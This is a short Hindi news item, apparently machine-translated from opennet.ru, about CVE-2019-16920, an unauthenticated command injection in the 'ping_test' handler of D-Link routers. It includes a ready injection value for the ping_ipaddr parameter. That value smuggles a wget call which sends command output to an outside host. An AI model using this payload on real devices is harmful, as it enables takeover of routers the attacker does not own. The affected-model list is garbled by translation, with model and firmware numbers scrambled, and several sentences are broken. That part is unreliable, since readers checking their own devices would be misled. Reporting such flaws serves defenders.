डी-लिंक राउटर्स में दूर से शोषण योग्य भेद्यता

डी-लिंक वायरलेस राउटर में पहचान की खतरनाक भेद्यता (CVE-2019-16920), जो आपको प्रमाणीकरण के बिना पहुंच योग्य "पिंग_टेस्ट" हैंडलर को एक विशेष अनुरोध भेजकर डिवाइस साइड पर कोड को दूरस्थ रूप से निष्पादित करने की अनुमति देता है।

दिलचस्प बात यह है कि फर्मवेयर डेवलपर्स के अनुसार, "पिंग_टेस्ट" कॉल को प्रमाणीकरण के बाद ही निष्पादित किया जाना चाहिए, लेकिन वास्तव में इसे वेब इंटरफ़ेस में लॉग इन किए बिना किसी भी स्थिति में कॉल किया जाता है। विशेष रूप से, apply_sec.cgi स्क्रिप्ट तक पहुंचने और "एक्शन = पिंग_टेस्ट" पैरामीटर को पास करते समय, स्क्रिप्ट प्रमाणीकरण पृष्ठ पर रीडायरेक्ट करती है, लेकिन साथ ही पिंग_टेस्ट से जुड़ी क्रिया भी करती है। कोड को निष्पादित करने के लिए, ping_test में ही एक और भेद्यता का उपयोग किया गया था, जो परीक्षण के लिए पारित आईपी पते की शुद्धता की ठीक से जांच किए बिना पिंग उपयोगिता को कॉल करता है। उदाहरण के लिए, wget उपयोगिता को कॉल करने और "इको 1234" कमांड के परिणामों को बाहरी होस्ट में स्थानांतरित करने के लिए, बस पैरामीटर "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// निर्दिष्ट करें। test.test/?$( इको 1234)"।

निम्नलिखित मॉडलों में भेद्यता की उपस्थिति की आधिकारिक पुष्टि की गई है:

• फर्मवेयर 655बी3.02 या पुराने के साथ डीआईआर-05;
• फर्मवेयर 866बी1.03 या पुराने के साथ डीआईआर-04एल;
• 1565 या पुराने फर्मवेयर के साथ डीआईआर-1.01;
• DIR-652 (समस्याग्रस्त फ़र्मवेयर संस्करणों के बारे में कोई जानकारी प्रदान नहीं की गई है)

इन मॉडलों के लिए समर्थन अवधि पहले ही समाप्त हो चुकी है, इसलिए डी-लिंक उन्होंने कहा, जो भेद्यता को खत्म करने के लिए उनके लिए अपडेट जारी नहीं करेगा, उनका उपयोग करने की अनुशंसा नहीं करता है और उन्हें नए उपकरणों से बदलने की सलाह देता है। सुरक्षा समाधान के रूप में, आप वेब इंटरफ़ेस तक पहुंच को केवल विश्वसनीय आईपी पतों तक सीमित कर सकते हैं।

बाद में पता चला कि भेद्यता भी थी को प्रभावित करता है मॉडल DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 और DIR-825, जिनके लिए अपडेट जारी करने की योजना अभी तक ज्ञात नहीं है।

स्रोत: opennet.ru